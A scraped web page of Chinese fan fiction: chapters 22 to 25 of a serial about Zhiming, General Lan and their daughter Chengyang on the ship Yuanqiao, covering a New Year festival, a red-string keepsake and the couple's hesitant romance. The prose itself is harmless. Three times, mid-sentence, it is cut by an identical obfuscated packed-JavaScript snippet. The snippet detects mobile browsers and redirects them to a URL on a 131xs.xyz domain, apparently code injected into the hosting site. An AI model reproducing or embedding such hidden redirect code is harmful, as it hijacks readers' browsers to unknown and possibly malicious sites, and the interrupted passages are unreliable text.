丹鼎司也经过一番清洗,如今青阳在这里总算不用感觉如芒在背,因着战场上的军功,他在丹鼎司的地位也提升了不少。现任司鼎是个耿直到有些不知变通的人,之前问责贵胄的时候,他就因为自认监管不力想要请辞,质明没同意,青阳也好说歹说地劝,这才没让本就动荡的丹鼎司更加混乱。 如今云缨正好来丹鼎司抓药,遇见了青阳,便和他聊了起来。 青阳其实只是礼貌性地问候一下同阵营的策士,却没想到被云缨抓着听了不少顶头上司的八卦,一时间走也不是不走也不是。但他毕竟是个适应能力很强的人,这本就不是什么机要事务,在加上那么点好奇心,也就顺水推舟地接着听了。 “你的意思是,长桑君和岚将军,至今仍未以夫妻相称?”青阳捣药的手都停下了。 云缨点点头,精明的策士显出一点困惑来:“互相扶持二十余年,共同养育了承阳,但他们至今还是隔墙居住,倘若之前是因为大事未成,但如今怎么还是一如往常……我不理解。” 青阳也用他那没有被情爱污染过的大脑思索一番,道:“也许对他们而言,这并不重要?” “不像。”云缨笃定道。 “怎么说?”青阳来了兴致,一边包好她的药材,熟练地称重写标签,一边问。 “说不好,但总之绝不是你所言那般……嗯,反正他们二人近日都爱出神。”云缨支吾了一下。 青阳只当没听懂她的含糊,只说道:“总归不是你我该考虑的事。” 22.爱怜 “我有一种预感,”质明道,“我们大概很难在短时间内和外界取得联系。” 她说这话的时候,正摆弄着一团分辨不出来处的肌肉组织。说是肌肉组织其实也有些牵强,那看起来就是一团还在活动的软肉,正摆在无菌容器里充满活性地蠕动着。 这是从步离人残破的器兽上取下的一部分组织,根据那些被俘虏的步离人商人所言,这一团肉原本属于通讯设备,兽舰开始自我消化之后就溶解成了现在这样,只有专门培育器兽的族人知道应该怎么做,但他们目前也没办法完全逆转器兽自我消化的过程。 需要明确的一点是,步离人的兽舰和兽舰上的绝大多数装置,都属于丰饶命途相关的生物科技。 质明的位格如此,再精巧的生物科技对她而言,也只是命途力量的一种运用方式。也就是说比起圆峤上那些弄不懂结构的机巧和攻不破防火墙的金人,质明处理起这些东西来要得心应手很多。 人类有人类的伦理,生命有生命的尊严,被擢升至今,质明几乎没有主动去改变某个物种或某个个体的生命形态,但步离人的器兽……很难认定其为一般意义上的生命。 它们被创造出来的目的就是成为战争和放牧的工具,要说的话,更适合用“活着的肉块”来形容它们。 改造肉块的形态不需要在意伦理问题,质明塑造它轻易得如同捏黏土。她也确实这么做了,一边尝试一边细致地试图分辨出变化的痕迹,从中找出器兽生命图谱的某种规律——然后将其恢复为通讯装置。 这并不困难,但在看着那个有些粗犷的发信装置的时候,质明还是说出了开头那句话。 “长桑君何出此言?”青阳不明所以地问。 “这二十年中,圆峤从没停下过航行,通讯设备和发信装置该修复的也修复了,除了没有星轨航图,用不了超距遥感,我们并不差什么。但是所有通讯都石沉大海,举目一望没有文明,难得遇到了其他舰队,也恰巧得不到完好的设备。不觉得太奇怪了吗?” 质明说着,输入了从步离人俘虏那里拿到的联络波段,片刻后不出意外地收获了忙音。 “你看,我说吧。”质明敲了敲通讯设备光滑的外立面,神色莫名。 青阳倒不这么想,他没有接触过太多相关事物,如今只是朴实地根据自身经历提出了看法:“寰宇广大,未有人探访之地不可胜数,音书断绝实属寻常。长桑君不必为此烦忧太过。” “……你说的也是。” 也不是没有这种可能,兴许只是圆峤和她都太倒霉,所以才这么多年只能遇到丰饶民和虫群。 而且仔细想想,圆峤重新分配过的洞天资源不再匮乏,在质明调整之下,整座仙舟的生态结构也不像一开始那么脆弱,在物资方面完全可以做到自给自足。除了无法和其他仙舟取得联系,通不了星际网,圆峤人并没有损失什么。 二十年看似漫长,但对长生种而言并没有那么夸张。 星神与命运在这个地方好似离质明很遥远,于是她便顺势略微放下了焦躁,转而关心起其他事情来。 “丹鼎司没有录入系统的数据应该不多?” 青阳闻言,翻看了一下自己整理的手札,道:“确如长桑君所言,仅有部分启航时代的遗留病历与丹方。” 质明点头:“那就拿来给我吧,劳烦你记录一下借阅。” 青阳恭谨道:“分内之事。” 质明并未过多言语,只是径自取了那堆泛黄的卷轴,看了看外头飘着细雪的天,撑着伞便离开了丹鼎司。 她回到葳蕤行道时雪下得有些大,伞面一倾斜便能听到上面一层雪落到地面的声音。 葳蕤行道清冷了许多。贵胄事毕之后质明不由分说地把设立在洞天内的中枢机构挪了不少出去,只剩下几个工作实在繁杂,需要更多时间交接的部门。如今那些空出来的位置都让质明去扶疏天选了些喜欢的花木种上,只是秋冬季节长得慢些,现在还不太显眼。 承阳在门口等她,见了她也不撑伞,仗着自己身强力壮就这么跑过来。矫健又高挑的姑娘,成年之后使得弓石数越来越大,现在非要和质明挤在一把伞下面,零帧起手抱着她手臂撒娇,活像还只有五岁。 嗯……大概是隐隐察觉到了也要把她的办公地点也扔出去? 质明笑眯眯的,什么也没说,什么也没问,只稳稳当当地当着甩手掌柜,撑着伞回到家里。 庭院石桌旁新栽了一棵白梅,梅枝横斜,刚好从石桌上方穿过,情态雅致。要是雪没下这么大,质明大概很愿意坐在那里倒上一壶茶,一叠点心,慢慢研究带回来的卷轴,但今日风雪不小,还是不要自讨没趣为好。 等到人都在屋里坐下有一会儿,她才想起今日便是年节,便随口问了一句:“今年的露天庆典申报得多不多?太多的话,太穹浑仪那边大概需要调整一下天气,逢年过节的,要是天公不作美,也有些扫兴。” 这些严格意义上说起来有些鸡毛蒜皮的民生杂事,是质明最早甩脱手的工作之一。而那个人在军中坐,工作天上来的倒霉蛋,不巧正是承阳。 “不用担心,今晚天气好着呢,只是白日里看着吓人。” 承阳叼着毛刷贴桃符,抽空应了一句,便又卯足了劲儿忙活起来。 她和岚今晚都是不在家里的,前者在庆典上报了名要上台,后者被盛情邀请参加典礼,质明也只好随着他们的行程改变计划,把夜里的灯会活动改为了去军中庆祝——反正都是能带家属的。 岚一向治军严格,不必担心军中出什么有碍观瞻的事。 冬日里天黑得早,青翠浑圆的桑叶也早早变成叶片细长的月桂,在雪后寒冷的空气里散发着淡香。 时间差不多,母女两人便提着灯笼离开家,准备去到军中。 质明的本体会在年节的时候,将枝条低垂,垂到大多数成年人都够得到的高度。 不知道何时兴起的习俗,如今的圆峤,在年节时候,人们不管外出还是居家,都会一人点上一个红灯笼。前半夜看灯笼小太阳似的红扑扑亮着,过了子时就把灯笼挂在桂娘娘的枝条上,活像是月桂树结出了一个个红果子。 倘若有其他诉求,也有人挂灯笼的同时挂别的。 求姻缘的爱往树枝上绑长条红布,祈求孩子健康的就是小孩儿的一缕头发……其实后者还好说,桂娘娘膝下的承阳确实健健康康长这么大,但前者就颇有些费解,毕竟质明本人八字也没一撇呢。 只能说百姓乐意这么做,道理什么的都是其次,主要图个彩头。 如今还不到挂灯笼的时间,只是已有许多人家把月桂枝条上的雪轻轻扫下来,提前做准备。 庆典尚未开始,但烟花已经零零散散地放了有一会儿,本该宁静的雪夜时不时就有代表节庆的声音划破天空。承阳和岚汇合的时候正好赶上一朵金菊在夜空中绽开,照亮了三人神态都放松的脸颊,却也盖过了三人互相的问候。 但没人在意这种小事。 质明只是饶有兴致地道:“烟花匠今年弄了不少新鲜玩意儿啊。” 承阳闻言,在母亲身边的柔软神色褪去,有些玩味地轻笑一声,意有所指:“这个嘛,储备的弹药剩余太多,物尽其用。” 这是在说叛军菜出了水平,连弹药都没让他们用完。 质明闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124002|179771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弦歌而知雅意,也有些缺德地笑起来。 不多时,报了名要上台表演的承阳便打了个招呼消失了,质明挥了挥手同她告别,转头便有些感慨地道:“她小时候黉学也组织过一次这种活动,但我们都没空去看,她委屈了好些天。” 岚:“彼时,他们引火烧了许多农用洞天。” “记得是粮种刚刚改良的时候,他们想把栽着青苗的试验田和储存用的粮仓都烧掉,然后在青黄不接的时候高价出售自己的存粮。”质明平静地补充着,“那年冬春两季确实闹了饥荒,但咱们没让粮价涨起来。” 岚侧头看她:“但你仍觉亏欠。” 承阳已经上了台,站定之后说了两句,便笑吟吟地从袖子里摸了一枚木簧笛出来,凑在嘴边就开始吹。 木簧笛音色特殊,清脆悦耳,而承阳吹奏的节奏轻快,曲调明朗,是乡间小调的节拍,却是陌生的曲子。这显然不是知名的曲调,台下的将士们也不曾在什么地方听过。 倒是岚,清脆悦耳的笛声一响,便又看向了质明。而质明已经愣住,呆呆地望着台上英姿矫健的女儿。 是摇篮曲。仙舟不曾有过的、质明哼给承阳听的摇篮曲。 嘈杂与静默之间,岚难得有了更多放松的心态。他不再想着当年旧事,也没回忆自己尚未被判冷冻守眠之前的过去,他压下了繁杂的心绪,专心地欣赏起了轻盈明快的小调。 将近子时,庆典散场,场中人们热热闹闹地起身,各自拎着灯笼离开,质明这边默不作声的三个人也一同汇入人流,走上归家的道路。承阳从台上下来之后便一如既往拉着母亲的手臂,笑意盈盈活泼神气,质明想说什么却又没有开口,显然是有些懵了。 倒是难得见到她这副模样,岚想。 趁着质明注意力被承阳引走,现场人又多,挂灯笼时岚稍稍侧了侧身位,自己挡住了他的那一盏。 喧嚷热闹的人声中,岚默不作声地取出一根精心编制的红绳,轻轻缠在了月桂柔嫩的枝头。 他俸禄全都捐给了慈幼坊,一年到头身无长物,又不善言辞,不知怎么与她分说,便只能如此作为。 选在今夜,是因为圆峤人人都在她的枝头挂东西,多他一个不多,少他一个不少,不容易被发现;而选在此时,是承阳与她亲近,她分不出注意力到他这里来……如此便好。 人有情便起意,岚也是个凡人,他不能免俗。 但他又分明知晓,不能以须臾之身困住永恒之人。 质明不是真的花草树木,她会动情,也会伤心,倘若贪图一时欢欣,待他离去,她要如何呢? 所以如此便好。 这些灯笼会一直挂到上元节,上元节之后便会统一取下处理。 ……如此便好。 熙熙攘攘的人流中,岚沉默如雾霭。 “——但你为什么会觉得,我感觉不到?” 第二天,岚见到质明手里的那根的红绳时,听到她如此询问。 他看着她,一时不能言语。 他就这么看着她将一枚眼熟的银质箭镝从编织精美的红绳中穿过,然后戴在了手腕上。 岚自己的那一枚放在贴身的口袋里,此时仿佛正无端散发着灼热的温度。 “我知道你在担心什么,岚。” 质明撑着脸,金纱遮蔽了她的双目,她的视线却仍然如有实质。 她轻轻地说:“于我而言,你们谁又不是短生种呢。如果因为注定要离别就不再开始的话,我就不会来到这里,也不会收养承阳……” 如同阐述,如同铭记,如同歌咏,如同哀叹。 她爱怜地注视着岚。 23.拉扯 质明来了圆峤多少年,就穿了多少年的深衣大袖。手中要务尚未完全分派出去的如今,她自然还是这一身庄重典雅强调地位的装束,长长的袖子加上滚边,能盖住手腕与半截手掌。 她撩开衣袖,将红线与银镝戴在手腕上,一身深深浅浅的青绿与白金之间,便多出了一抹红,与一点银。 更妙的是,这位丰饶的行者不着华饰不戴高冠,连束发用的长簪都是桂枝桑叶,此时浑身上下唯一的饰品,就是手腕上朴素至极的红绳与银镝。 质明拨弄着手腕上的饰品,笑吟吟地望着岚:“我话都说到这份上了,岚将军难不成还要临阵脱逃?” 高束长发,身形挺拔的男子讷讷不言,虽然神情不显,但熟悉他的人大概都能发现他此时的进退失据。 恰巧,质明就是这艘仙舟上最了解他的人之一。 这样的场景其实颇为眼熟,岚此人在犹豫不决、情况又不是特别紧急时,便会拧眉不语,非要先自己与自己辩个明白才肯开口——不然怎么说这人又愣又轴。倘若是军机要务,国家大事,等待他的决断自然未尝不可,但如果是今日这种无伤大雅的情况……替他拿主意就可以了。 “不说话就当默认了哦。”质明轻飘飘地说。 被人代为做决定,这种事岚也不是第一次遇到,通常是一些庆典节目要不要上场之类的小事,但如今这一桩,还是让他微微睁大了双眼——这也是能轻易做决定的事吗? 为什么不是呢?质明挑眉。 “……某只是觉得,此物粗陋,不太衬你。” 岚的金眸停留在质明从繁复衣袖中露出的那一截手腕上,克制地注视了片刻,就收了回去。 质明的耐心十分充足,也乐意同现在看起来快要熟了的岚兜圈子:“那你觉得什么衬我?” 岚便想起自己手下士卒偶尔会谈起的家中情况,也想起守眠之前听见袍泽的思念和调笑。常在行伍的军士大多无暇看顾家中,多半由妻子独自操持,因此每逢休沐,已有家室的同袍要么把自己收拾得光彩照人,自己当礼物,要么便去挑一些看得过眼的物件,精心包装然后送出去。 鉴于质明一直以来都表现得像个没什么物欲的工作狂,不在意排场也不在意权势,岚这颗在风月之事上毫无建树的脑子,一时之间竟然想不到把自己打包送过去之外的选项。 但这未免……太、太孟浪了! 见他半晌没说话,神情更添窘迫,质明便也见好就收,没再继续调笑:“我倒觉得这很好。” 今日细雪,两人落座在庭院中的石桌旁,温酒一盏,静观白梅。岚自是心乱如麻无心赏景,但质明却颇有兴致,细雪落到她缎子似的白发上看不分明,落到白梅花瓣上也不分明,落到石桌上、衣裙上,就迅速化为了一点水痕,这细细的雪或许与雨无异。 端起酒杯浅浅沾了沾唇,质明轻笑一声,宽慰道:“什么物件都好,毕竟无论何物都是你的心意,对你这么个锯嘴葫芦而言,心意最重要。” 岚:…… 岚没有被安慰到。但也后知后觉这场对话已经完全被质明主导,他在不知不觉间就已经忘记了自己对这件事本身的犹豫和迟疑,只纠结起了究竟什么东西更衬她。 质明,恐怖如斯。 一边想着,他一边端起酒杯,也不说话,就闷头一直喝。 质明捏着酒杯,抬头去看横过石桌顶上的一枝白梅,慢悠悠地提醒:“喝不醉也少喝点,这酒我是从承阳那里拿来的,不多,见了底她怕是要找你撒泼打滚。” “且让她来。”岚道。 质明又笑他:“噗,她来了你就好趁机离场,是也不是?我有这么可怕么。” 岚支吾了一下:“……是某心中有鬼。” 质明当即便笑骂一句:“你这人,怎么又骂上我了。” 岚愣了一下,刚想说自己没有冒犯之意,下一秒才反应过来,质明这是又在调笑他。 几次三番逗弄下来,岚终于生出点微不可查的恼意:“你又戏弄于某。” 质明看着似乎没有半点心虚,反而有一股莫名其妙的理直气壮:“从前诸事纷杂,觉得你有趣也不能多逗逗,不是这边出事就是那边救火,如今这不是天赐良机,恰逢其会么。” 她今日笑得格外多,发间的细雪也融化得格外快,白梅的香气泛着冷,萦绕在这一方小小的天地里。 岚看得有些痴了。 质明没有像以往一样回避他的目光,大大方方与他对视,只是带着符文的金纱看不出她的目光如何,只听她道:“说起来,确实有一桩事情需要你参谋参谋。” 岚像是终于想起来质明方才的告诫,放下了捏着的酒杯,也放过了弟子的珍藏:“愿闻其详。” “地衡司搬走之后,我这里剩下的也就不多了,春耕之前应该能走干净……你陪我去扶疏天挑些花木吧。” 年节前后,葳蕤行道更是清净,负责最千头万绪民生问题的部门终于从建筑群里单独分了出去,叫人拟了个名字,如今唤作地衡司。 地衡司主管民生户籍,广义上的社区工作也归他们,基础治安管理也和他们有关,什么都沾点,是以千头万绪。他们以前占据的面积最大,如今空出来的位置也最多。 质明早便在规划葳蕤行道的生态布局,之前空出的不多,随意安插也就是了,但现在不同。 不仅是多了不少空间,也多了个需要确确实实考虑他喜好的人。 “何处栽白梅,何处立竹海,雪松在何处,柘木又在何处……我一个人可想不了这么多。或者说,我最擅长的是让它们无论怎么排布都欣欣向荣,一派繁盛,但繁盛归繁盛,却不一定美观。” 兴致起来,她便在原地四处指点,向岚介绍,末了,才问:“你要栽点什么吗?” 岚想都不想,脱口而出一句:“不要银杏。” 那一日殿上,就在岚眼前坠入魔阴的贵胄,实在给他留下了太过深刻的印象。 质明也心有戚戚焉:“……确实不太吉利。” 细雪终于停了,冬日少有的阳光破开了云层,融融地落下来,积在白梅花瓣枝头的雪融化,啪嗒一声落到了岚已然放下的酒杯里,也有一两滴落在了他的额头,冷得那处的皮肤一阵紧绷。 他没有躲,质明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137140|179771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没动,只是给自己也倒了半杯酒,慢慢地喝着。 她懒懒道:“至于旁的,开了春到扶疏天再说吧,现在选起来总归不全面,估计到时候我俩能挑花了眼。春耕时候大抵就是这些事,不过再往前一点,过了上元……也不知道地衡司那边是怎么个章程。” “什么章程……?”岚有些不明所以,但直觉让他的脑门突突地跳起来。 “合籍,结缡,还有什么别的称呼吗……”质明琢磨了一下。 “啊……”话说到一半,质明便停了,因为她看到坐在对面的岚似乎又要熟了。 “好夸张啊。”她喃喃道。 因为文明的发展历程并不一致,质明严格意义上来说是个现代人。但仙舟人仍然遵循着某种类比到质明的家乡、属于战国秦汉时候的风俗,融入星际社会,领受丰饶赐福,也只是让他们在器具和科技上进步迅速,甚至因为变成了长生种,在社会进程的演化上更加缓慢。 岚是如今仙舟上少数没有服下长生药的人之一,他经历过数次守眠,诞生的年代更是远在一千六百多年前,属于老古董中的老古董。 不过战国秦汉时期风气也十分开放,他听了这些话能局促成这样,大概是因为这人特别古板……吧? 但要真的那么因循守旧,他也不会在罗浮干出那么一件惊天动地的大事来了。 所以说这人真的、真的,很有意思。 岚好不容易回过神来,便能感觉到质明那如有实质的视线,她认真地问:“是觉得太急了?” 她正经起来,岚也正经地答:“只是怕唐突了你。” 质明琢磨了一下,道:“这有什么,我的故乡,街上刚见面不到半天的人,也有下午就去扯了结婚证的,半个月过后又风风火火地分开了,旁人一问就说品个新鲜。严格说起来,我们也算处了将近二十年,怎么都谈不上唐突二字了。” 她想起了什么,倏忽又对岚道:“既然你害羞,那这事就不着急,总归是个形式。” ……总觉得如今这番对话有些诡异,是错觉吗。岚心道。 他有点想反驳关于“害羞”的形容,但又想起了片刻之前被质明三言两语便转移了注意力的事故,明智地没有选择开口,否则怕是又会落入她随手布下的语言陷阱。 石桌旁一时无言,气氛却也融洽。 大概因为某人不是时时有话讲,这许多年里,也都习惯了如何同他这个不爱开口表达的人相处。 “其实我等了许久,也没见你问到最关键的问题呢。” 质明酒杯里的液体只下去了一点点,她却有些微醺了,语调柔软,却仿佛在布设某种陷阱。 “我对你很好奇,你对我似乎没什么探究欲啊……是你藏得太好了么?”她伸出手,打破了两人维持了将近二十年的安全社交距离,微凉的指尖触及到岚的面颊,随后被他轻轻握住。 “你醉了。” 质明的脸上泛着些许醉意的红,手腕一转,拽着岚的手腕,将他拉了过来。 她也没做什么,只是轻轻同他碰了碰额头,便轻笑着放开,很好心情地又欣赏起了他呆滞的面色。 24.鼓擂 上元之后,春冰渐融,万物复苏。 支撑着圆峤所有洞天的巨树桑桂,质明的本体,本也遵循着自然规律年年发新叶,不过今年的春芽似乎格外繁茂,如同是随着圆峤局势的彻底稳定,去旧迎新,显出一股蓬勃的生机来。 确如质明所言,春耕之前,所有滞留在葳蕤行道的行政机构都尽数迁出,四散在圆峤已经规划好的各处洞天里。她的这一处洞天终于彻底清净下来,也终于可以彻底划为她的私人领地。 伴随着这一进程的逐渐推进,质明也慢慢将各种机要事务一一分配,最终得以无事一身轻。 星历3308年春,圆峤的“长桑君”终于仅仅是一个尊称,而不再代表此地的最高权柄。 如今为数不多仍然需要质明操心的事情,只剩下洞天能源、太穹浑仪与星轨防御力场。 这三者其中两种是基于质明的本体衍生出的必要项目,洞天的功能来源于她,防御力场的构建也是她一力完成,不会假于他人手。而太穹浑仪,天才造物的短时间难以复刻让它也无法脱离质明的权限。 但比起以前什么事情都要管一管轻松了太多,至少不必今天操心税收,明天担忧就业,后天又要琢磨军饷……就好似她丰饶令使的位格不为了别的,只为了更好地不饮不食进化掉睡眠,最后来当这个牛马。 听起来太可悲了。 是以这个春日质明格外开心,作为她本人状态的一种反应,桑桂的新芽便也格外多。 比起母亲的轻松,承阳就有些叫苦不迭了。 她不仅办公地点被挪了出去,军中的许多事物岚也有意让她进行学习和交接,比如开春之后最重要的一桩事情:募兵,便被交给她全权主持。 圆峤军制不止四支卫队,只是以往离乱太多,出于诸多考量没有恢复建制,如今诸事已定,自然应该提上日程。 道理是这个道理,但实际操作起来总会出现许多意想之外的情况。 并非无人应募,而是来者太多,原先准备的军需一时无法招架。 也因为来的人比想象中更多,原先的建制就需要进行扩充。如何扩充、如何安排,又是一桩难事;而且也不能将人全部留下,多少要经过筛选和测试,这就更添几道流程。 承阳人毕竟年轻,虽说攒下的军功已经相当可观,手段智谋也早已今非昔比,但头一次遇上这种因为太受欢迎和爱戴而发生的事,也很是手忙脚乱了一会儿,才厘清了究竟,重新安排起来。 这里的太受欢迎指的不仅是她本人,也包括了质明、岚,和为了保护家园而战斗的绝大多数军中士卒。 有的时候人们的好恶十分简单,谁为他们付出,他们就爱戴谁。就如同岚昔年在夺舍之祸攒下的声望,时至今日也在庇佑和保护着他;也好比质明,她这二十年中雷厉风行的做派也不是所有人都能接受,但终归揭底是为了百姓,所以在她干脆放权之后,声望反而更上一层楼。 不过以上这些暂时都和质明无甚关系。 她现在正和岚在扶疏天的园圃之中,挑选着要移栽到家中的花木。 从为洞天起名“葳蕤行道”开始,质明便有将其雕饰成一片林地或者一座花园的想法,只是后来归作中枢,为了方便通行往来,只做了些简单装饰,如今再无闲人经行,自然想怎么折腾就怎么折腾。 她甚至从本体上剪下一根枝桠,插在葳蕤行道中心的土地上,而后令其片刻长成参天巨木,枝条与根系一同蔓延。在巨木的枝干下,原本三人居住的院落便被安置于此,因着树冠高耸,枝叶也有意稀疏生长,除非正午时分,否则不会遮蔽太多日光。 居处之外,就是安置花木的地方。 按照质明的构想,既然圆峤日月轮转,四季分明,那就要四季皆有景致可看,分而居之,并不混杂一处。草木生灵因季节变换导致的落叶与枯朽亦是生命的一环,它可能不美,但同样值得欣赏,无需回避。 岚适时提出建议:“草木蔓生,便会有飞鸟走兽,安置一处水泽如何?” 他说这话时,便是想起了当年在扶疏天的水泽之畔,见到质明与渊兽嬉戏时的惊鸿一瞥。他的诸多杂念与难言心绪便是自此而始,如今故地重游,倒是生出了几分宽慰。 “浅滩种莲,静水植荷,确实不错。但只有浅滩未免单调,要不,我去问问水里的大家伙有没有谁愿意到我家去的?”质明思索片刻便有了想法,转头征询着岚的意见。 岚好心地提醒道:“承阳怕水蛇。” 质明“啧”了一声:“我也没打算让它们也去,圆峤现有品种对环境很敏感,当年迁移洞天的时候都差点全吓死,可不敢再来一次了。还是渊兽好些,胆子大又聪明。” 一边说着,两人便到了水泽边。岚自己的玉兆打开了备忘录,他敲下一行字后关闭,接过了质明递来的她的那一枚,随后便见她褪下了广袖的外袍,径自扔给他,又伸手试了试水温,便一下子滑进了水里。 她长得夸张的白发丝丝缕缕在水中散开,随着她的潜入而进入深处,色彩逐渐暗淡,直至看不见。 至于岚,不能说他水性不好,毕竟根本就没怎么正经下过水,让他也跟着下去,虽然不会出事,但大概率可以看到他跟一根铁棍似的直挺挺沉下去,好笑多于好惨。 以他的天赋和学习能力,自然可以在短时间内本能一样学会凫水,但他毕竟无法和质明一样,在水中如同在陆上般自在——所以还是安心等着她吧。 栖息着渊兽那般庞然大物的水泽自然是一眼望不到边,鸥鸟与白鹭从水面上飞过,浅滩觅食的鸟类从岚的脚边经过,似乎把他靴子上的花纹认成了什么,伸出尖嘴啄了两下,才扑腾着翅膀没趣地飞走。 这段日子其实同往常没什么分别。 各自有各自忙碌的事情——当然,质明现在已经完全脱离了忙碌的范畴开始享受生活了,这一点按下不表——坐在一起闲聊的氛围也和往日相同,她们说得多,他听得多。 过去二十余年皆是如此,仿佛今后也不会有什么变化。 只是原来毗邻而居的两处居所,中间隔着的墙打通了,安了一扇月亮门,但岚尚未穿过那扇门,质明也没有从那扇门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16145189|179771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里出来过。两人都不紧不慢的,仿佛年节之后一夜之间说开的不是他们。 岚将质明犹带余温的外衣搭在臂弯里,寻了一块岸边的大石,颇为闲适地坐了上去。 这没什么不好,不是吗。 对于轮替守眠的人而言,他们在冷冻休眠仓里的时间是凝固的,所以岚对自己已经在世上活过一千六百多个年头这件事,其实没有什么实感,与他而言,他的人生目前只有这么几十年。 年幼时受父母庇护,年少时军中学艺踏上战场,之后就是岁阳之乱,而后便是数次守眠,数次醒来。最后一次醒来的时候,仙舟已经找到了启航的目标,要以一整个文明为单位,嵌入长生者的生命图谱。 前几十年为护卫仙舟战斗、奔走,最近这二十年他做的也是同样的事,来去匆匆。 现在一下子慢下来,反而有些无所适从。 毕竟从前解决了突发事件后,苏醒的战士们没过多久就要继续回去守眠了。 圆峤没有这种制度,或者说,全民长生后的仙舟没有这种制度……它只是作为对不能杀死的悖逆者的刑罚。 慢一点挺好的。如果当年炼制出不死药之后,仙舟的决策者们也能这么想,就更好了。 岚任由思绪杂乱无章地蔓延着,不知何时,远处的水中似乎有什么动静。他定睛望去,便见一头硕大的渊兽掠过水面,破水而出的鳍旁边扶着一道对比起来十分渺小的身影,白发青衣,正是质明。 她这次没有像当年一样直接呼喊他,也没有对他招手,是岚自己起身,涉水而前,到了他能达到的最近的位置,远远望着她。质明发觉了他停下的步伐,挥了挥手,深水中便有巨大的藻类浮上水面,铺了一条堪堪能走过的路到岚脚下。 岚稳稳当当地走过去,到了渊兽的脊背上,这庞大而温和的哺乳动物从呼吸孔处喷了一口气,权当打招呼。 “这孩子是你也见过的那一头哦,她长大了,有了自己的孩子,也愿意到我那里去。” 说着,质明拍了拍渊兽一人多高的鳍,水中便发出一道低低的鸣叫,震动了附近的水流。岚的听力还属于人类的范畴,听不见这一声,但质明侧着头,显然是听明白了,便笑:“她也认得你。” 岚有些诧异,但还来不及说什么,便被水花打湿了半个身子。他回头,见到渊兽身旁浮出了一只更小的个体,刚刚正是它的尾鳍击打水面,现在也正从呼吸孔喷出水花,看着很活泼的模样。 质明笑得更开心了,她道:“这个小家伙也挺喜欢你的……你可真受欢迎啊!” 岚有些无奈地摇了摇头,将臂弯里毫发无损的外衣抖开,披在质明肩上,情绪也不由自主地跟着轻盈起来。质明则道了一声谢,将被外衣压在下面的长发拢出来,放在外衣之外,岚见了便去帮忙。 她长而柔软的白发在早春的微风中微微飘荡,勾着岚的手指,缠在他的腕上,岚整理着整理着动作便慢了下来,垂着眼眸看手中她的长发。 鬼使神差地,他低头,轻轻用嘴唇碰了碰微凉的发丝。 心如鼓擂。 25.合籍 承阳现在忙得好似一只陀螺。 众所周知,工作是不会减少的,只会从一个人转移到另一个人头上。质明有意放权,造就了各个洞天建立起的地衡司公廨,岚有意放权,那重压就会落到年轻一辈的军官头上。 这些个军官会是谁呢,好难猜啊。 云缨看承阳可怜,抽空去外头街上给她带了点吃食,便得到了金眼睛的姑娘拉长了音调的一声:“云缨姐姐~”及笄之后她就很久没有这么和母亲之外的人撒过娇了。 长桑君遣散葳蕤行道官邸之后,云缨因其经验丰富,遭到各司争抢,最后还是她自己包袱款款到了承阳这里,帮着核算一些简单的军务。别的更专业的东西她还在学,但总比承阳和流花轻松一些。 春季募兵之后便是训练,众所周知,训练新兵是一件工作难度大,人员要求高的任务,承阳被岚委以如此重任,自然是不敢有丝毫懈怠。她将原本所在的卫队工作交给了流花,自己则全心全意训练新兵。 谁都看得出来,继质明之后,岚也在逐步退出自己的舞台,将位置留给后来者。 只是他的退出不仅有政治上的考量,也有一定程度的私心。 承阳是知道这一点的,岚同自己的弟子语重心长地谈论过这件事。 那是年节后的某一日,分隔居所的墙壁已经开了月亮门,岚在庭院的石桌旁负手而立。 “某是短生种,守眠以致今日,无心贪取不死,而生魂离体已有二十载,无人知晓某还能存于世间多久,或许十数载,或许百年。质明……伊如月恒常,如日昭昭,得此佳侣,夫复何求,更不欲被俗务所扰,只能劳你帮衬一二。” 他这话说得有些残忍。 大抵是表达自己不知道什么时候就要魂飞魄散,剩下所剩不多的时间就不想再案牍劳形或是为工作分心,只想要用更多的时间陪着他的伴侣。也委婉地向承阳表达了些许歉意……当然,歉意是歉意,工作是工作。 此时此刻,承阳终于有那么一个瞬间脱离相处的漫长岁月,以纯粹的第三视角看待这两个人。 一个是短生种,却绝不求取长生,一个是丰饶的令使,却从不挽留死者,天底下最刻板最反套路的两个人让承阳给遇上,而他们还正正好看对了眼,不会有什么比这更能体现缘分的奇妙了。 而承阳能说什么呢,她当然知道师父能够迈出这一步是花费了多大的勇气,做出这样的决定又是理解了怎样的悲伤。而她作为他的弟子,作为她的女儿,能做的只有支持和配合。 只是真到了忙得昏天黑地的时候,还是免不了抱怨,人毕竟不是机器,人是会产生情绪的。 